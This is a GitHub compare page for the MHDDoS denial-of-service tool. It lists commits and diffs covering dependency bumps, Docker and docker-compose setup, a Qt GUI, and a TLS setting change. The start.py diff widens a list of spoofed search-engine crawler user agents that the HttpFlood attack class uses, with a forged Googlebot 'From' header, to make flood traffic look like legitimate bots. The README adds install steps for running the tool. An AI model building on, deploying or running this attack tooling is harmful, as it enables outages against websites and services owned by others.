Compare commits

...

21 Commits

Author SHA1 Message Date
王维同学 3fbd7ab246
Merge 5a85e9cb50 into a0ddf3a62d 2025-10-22 01:06:50 +03:00
Tester2024 a0ddf3a62d
Potential fix for code scanning alert no. 3: Use of insecure SSL/TLS version
Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
2025-10-22 01:26:30 +03:30
Tester2024 47ddea7877
Merge pull request #691 from MatrixTM/alert-autofix-3
Potential fix for code scanning alert no. 3: Use of insecure SSL/TLS version
2025-10-22 01:23:43 +03:30
Tester2024 18ff6dc557
Potential fix for code scanning alert no. 3: Use of insecure SSL/TLS version
Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
2025-10-22 01:23:16 +03:30
Tester2024 8dc44b700f
Merge pull request #672 from H3xKatana/main
Optimize Dockerfile and docker image , adding Docker Compose support
2025-10-22 01:20:05 +03:30
Tester2024 143450a68b
Merge branch 'main' into main 2025-10-22 01:19:48 +03:30
Tester2024 3dff7cd5e1
Merge pull request #690 from MatrixTM/dependabot/pip/dnspython-2.6.1
Bump dnspython from 2.2.1 to 2.6.1
2025-10-22 01:19:09 +03:30
dependabot[bot] db0950e91d
Bump dnspython from 2.2.1 to 2.6.1
Bumps [dnspython](https://github.com/rthalley/dnspython) from 2.2.1 to 2.6.1.
- [Release notes](https://github.com/rthalley/dnspython/releases)
- [Changelog](https://github.com/rthalley/dnspython/blob/main/doc/whatsnew.rst)
- [Commits](https://github.com/rthalley/dnspython/compare/v2.2.1...v2.6.1)

---
updated-dependencies:
- dependency-name: dnspython
  dependency-version: 2.6.1
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 21:47:46 +00:00
Tester2024 56524b922d
Merge pull request #689 from MatrixTM/dependabot/pip/requests-2.32.4
Bump requests from 2.27.1 to 2.32.4
2025-10-22 01:16:43 +03:30
Tester2024 ab377bf244
Merge pull request #688 from MatrixTM/dependabot/pip/certifi-2024.7.4
Bump certifi from 2022.12.7 to 2024.7.4
2025-10-22 01:16:34 +03:30
Tester2024 92a7e3fcb0
Merge pull request #678 from WTFitsmemyself/main
Search engine list update
2025-10-22 01:16:15 +03:30
dependabot[bot] a5e8bc0db2
Bump requests from 2.27.1 to 2.32.4
Bumps [requests](https://github.com/psf/requests) from 2.27.1 to 2.32.4.
- [Release notes](https://github.com/psf/requests/releases)
- [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md)
- [Commits](https://github.com/psf/requests/compare/v2.27.1...v2.32.4)

---
updated-dependencies:
- dependency-name: requests
  dependency-version: 2.32.4
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 21:42:53 +00:00
dependabot[bot] 8cacc707b6
Bump certifi from 2022.12.7 to 2024.7.4
Bumps [certifi](https://github.com/certifi/python-certifi) from 2022.12.7 to 2024.7.4.
- [Commits](https://github.com/certifi/python-certifi/compare/2022.12.07...2024.07.04)

---
updated-dependencies:
- dependency-name: certifi
  dependency-version: 2024.7.4
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-21 21:42:41 +00:00
hosyn af13b76563
Merge pull request #1 from WTFitsmemyself/contribute
Update search engine list
2025-09-21 15:19:42 +03:30
hosyn 364c3a2e5a Update search engine list 2025-09-21 15:18:12 +03:30
Mohamed Kara 2b248c7e87 fix(docker-compose): adding github image for mhddos 2025-09-02 11:40:39 +01:00
Mohamed Kara d9a0673d9f docs(README): add Docker usage instructions and update docker compose 2025-09-02 11:38:39 +01:00
Mohamed Kara 076c59d453 feat(docker): add docker-compose 2025-09-02 11:26:44 +01:00
Mohamed Kara ccb23d0686 chore(requirements): update requests version issue and remove unused dependencies 2025-09-02 11:25:52 +01:00
Mohamed Kara bd788aa6e8 refactor(docker): optimize Dockerfile for size and caching 2025-09-02 10:45:41 +01:00
王维同学 5a85e9cb50
GUI for MHDDOS
Create GUI By Qt5 to make the project easy to use.
2025-07-31 20:13:07 +08:00
7 changed files with 4603 additions and 18 deletions

View File

@ -1,9 +1,20 @@
FROM python:3.8.12-buster
# much smaller image than debian based python images
FROM python:3.12-slim
LABEL maintainer="0xkatana"
WORKDIR /app
COPY ./ ./
COPY files files
RUN pip3 install -r requirements.txt
# Install git
RUN apt-get update && apt-get install -y git && apt-get clean
ENTRYPOINT ["python3", "/app/start.py"]
# copy requirements.txt for better caching
COPY requirements.txt .
# Install py dependencies (may migrate to uv later)
RUN pip install --no-cache-dir -r requirements.txt
# Copy all code at once instead of copy code then files
COPY . .
ENTRYPOINT ["python", "start.py"]

2203
MHDDOS_GUI.py Normal file

File diff suppressed because it is too large Load Diff

2276
MHDDOS_GUI_zh_CN.py Normal file

File diff suppressed because it is too large Load Diff

View File

@ -138,6 +138,18 @@ pip install -r requirements.txt
apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt
```
**Docker**
```shell script
git clone https://github.com/MatrixTM/MHDDoS.git
cd MHDDoS
docker compose build
# you can use the built image directly by uncommenting one line in the dockercompose
docker compose run -it --entrypoint /bin/bash mhddos
```
[python3]: https://python.org 'Python3'
[github issues]: https://github.com/MatrixTM/MHDDoS/issues 'enter'

14
docker-compose.yml Normal file
View File

@ -0,0 +1,14 @@
version: "3.9"
services:
mhddos:
# image: ghcr.io/mhprodev/mhddos:latest
build: .
container_name: mhddos
restart: unless-stopped
volumes:
- ./config.json:/app/config.json
- ./files:/app/files

View File

@ -1,10 +1,10 @@
cloudscraper==1.2.71
certifi==2022.12.7
dnspython==2.2.1
requests==2.27.1
certifi==2024.7.4
dnspython==2.6.1
requests==2.32.4
impacket==0.10.0
psutil>=5.9.3
icmplib>=2.1.1
pyasn1==0.4.8
pyroxy @ git+https://github.com/MatrixTM/PyRoxy.git
yarl>=1.7.2
yarl>=1.7.2

View File

@ -15,6 +15,7 @@ from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, S
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
gethostname, socket)
from ssl import CERT_NONE, SSLContext, create_default_context
import ssl
from struct import pack as data_pack
from subprocess import run, PIPE
from sys import argv
@ -44,6 +45,14 @@ logger.setLevel("INFO")
ctx: SSLContext = create_default_context(cafile=where())
ctx.check_hostname = False
ctx.verify_mode = CERT_NONE
# Enforce only TLSv1.2+ (defense-in-depth: also disable older protocols explicitly)
if hasattr(ctx, "minimum_version") and hasattr(ssl, "TLSVersion"):
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
# Disable insecure TLS versions for additional safety
if hasattr(ssl, "OP_NO_TLSv1"):
ctx.options |= ssl.OP_NO_TLSv1
if hasattr(ssl, "OP_NO_TLSv1_1"):
ctx.options |= ssl.OP_NO_TLSv1_1
__version__: str = "2.4 SNAPSHOT"
__dir__: Path = Path(__file__).parent
@ -134,13 +143,73 @@ class Methods:
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
google_agents = [
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
"+http://www.google.com/bot.html)) "
"Googlebot/2.1 (+http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
search_engine_agents = [
# ---------------- Google ----------------
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; "
"+http://www.google.com/bot.html) Chrome/103.0.5060.134 Safari/537.36",
"Googlebot-Image/1.0",
"Googlebot-Video/1.0",
"Googlebot-News",
"AdsBot-Google (+http://www.google.com/adsbot.html)",
"AdsBot-Google-Mobile-Apps",
"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)",
"Mediapartners-Google",
"FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)",
# ---------------- Bing / Microsoft ----------------
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"BingPreview/1.0b",
"AdIdxBot/2.0 (+http://www.bing.com/bingbot.htm)",
# ---------------- Yahoo ----------------
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"Yahoo! Slurp China",
# ---------------- Yandex ----------------
"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
"YandexMobileBot/3.0 (+http://yandex.com/bots)",
"YandexImages/3.0 (+http://yandex.com/bots)",
"YandexVideo/3.0 (+http://yandex.com/bots)",
"YandexNews/3.0 (+http://yandex.com/bots)",
# ---------------- Baidu ----------------
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Baiduspider-image (+http://www.baidu.com/search/spider.html)",
"Baiduspider-video (+http://www.baidu.com/search/spider.html)",
# ---------------- DuckDuckGo ----------------
"DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)",
"DuckDuckBot/2.0; (+http://duckduckgo.com/duckduckbot.html)",
# ---------------- Applebot ----------------
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
"(KHTML, like Gecko) Version/14.0 Safari/605.1.15 (Applebot/0.1; "
"+http://www.apple.com/go/applebot)",
# ---------------- Facebook / Social ----------------
"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)",
"Facebot/1.0",
# ---------------- Twitter ----------------
"Twitterbot/1.0",
# ---------------- LinkedIn ----------------
"LinkedInBot/1.0 (+https://www.linkedin.com/)",
# ---------------- Pinterest ----------------
"Pinterest/0.2 (+http://www.pinterest.com/bot.html)",
# ---------------- Other Major Bots ----------------
"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
"SemrushBot/7~bl (+http://www.semrush.com/bot.html)",
"MJ12bot/v1.4.8 (http://mj12bot.com/)",
"Sogou web spider/4.0 (+http://www.sogou.com/docs/help/webmasters.htm#07)",
"Exabot/3.0 (+http://www.exabot.com/go/robot)",
"SeznamBot/3.2 (http://napoveda.seznam.cz/seznambot-intro/)",
"CCBot/2.0 (+http://commoncrawl.org/faq/)",
"DotBot/1.1 (+http://www.opensiteexplorer.org/dotbot, help@moz.com)"
]
@ -942,14 +1011,14 @@ class HttpFlood(Thread):
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: text/plain,text/html,*/*\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"User-Agent: %s\r\n" % randchoice(search_engine_agents) +
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
"GET /sitemap.xml HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n"
"Accept: */*\r\n"
"From: googlebot(at)googlebot.com\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) +
"User-Agent: %s\r\n" % randchoice(search_engine_agents) +
"Accept-Encoding: gzip,deflate,br\r\n"
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
ProxyTools.Random.rand_str(4)) +